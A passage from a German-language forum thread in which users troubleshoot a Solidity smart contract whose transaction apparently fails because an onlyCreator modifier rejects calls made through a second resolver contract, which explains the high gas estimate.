skunk Posted June 13 Share Posted June 13 vor 1 Stunde schrieb Octagon: Vermutlich failed die Transaction, deshalb. Kurzer Test: Falls du von MyContractResolver die Funktion aufrufst gehts nicht. Denn: modifier onlyCreator() { require(msg.sender == creator, "Only contract creator can call this function."); _; } Das require wird fehlschlagen, da msg.sender != creator. Wenn so aufgerufen ist msg.sender der callende contract und nicht der creator. Ich vermute das es fehlschlägt, und deshalb so hoch anzeigt. Normal ist es höchstens vielleicht ein Euro, wenn die Ausführung klappt, kostet ca. 37k gas, also nicht viel. Kannst du mal den kompletten Quellcode deines original Contracts posten? 1 Link to comment Share on other sites More sharing options...
Octagon Posted June 13 Share Posted June 13 vor 10 Minuten schrieb skunk: Kannst du mal den kompletten Quellcode deines original Contracts posten? Hab mit genau dem selben snippet rumgespielt welches @sladostrastnik oben gepostet hat. MyContract & MyContractResolver 1 Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now